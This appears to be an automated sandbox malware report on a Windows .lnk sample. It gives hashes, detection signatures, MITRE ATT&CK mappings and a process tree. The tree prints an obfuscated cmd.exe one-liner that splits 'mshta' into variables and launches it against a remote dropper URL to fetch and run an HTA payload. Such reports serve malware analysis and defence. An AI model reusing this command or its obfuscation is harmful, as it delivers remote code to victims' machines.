b0ace0bda8dca6add6aab7dab9ea540175d3b4e587bd595a16a0b73e4f0fd395

Analysis

max time kernel
150s
max time network
143s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 12:45

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General

Target
Contrato_Indeniza_Brasil-6OA4JN.lnk
Size 1KB
Sample260803-py2f1abk51
SHA256 b0ace0bda8dca6add6aab7dab9ea540175d3b4e587bd595a16a0b73e4f0fd395
MD5 7327573bb5f7bf0e7cd3e8a90577a6f7
SHA1 0d6fbf3f4c799691b138ac912ac6b808c46f5e6b
SHA512 845e41782b76ce3d4ea68a9dc8e4157117cadc892b35a4e05910e2a588acc1357325fc4b0c2fefd6cb3f084222f87161c859c04b019bb27daf8ffc60849c9647
TLSH
T1813197502AFD0624F2F39EB685BB6B1059BEF8A68E20CA0D4080464C5026A05E67BF77
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5444	mshta.exe
6	5444	mshta.exe
10	5444	mshta.exe
12	5444	mshta.exe
13	5444	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4116	cmd.exe
4244	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4116 wrote to memory of 4244	4116	cmd.exe	90
PID 4244 wrote to memory of 5444	4244	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-6OA4JN.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4116
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /c "set Yi=msh&&set sCS=ta&&start "" !Yi!!sCS! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\System32\mshta.exe
    mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
    3⤵
    - Badlisted process makes network request
    PID:5444

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads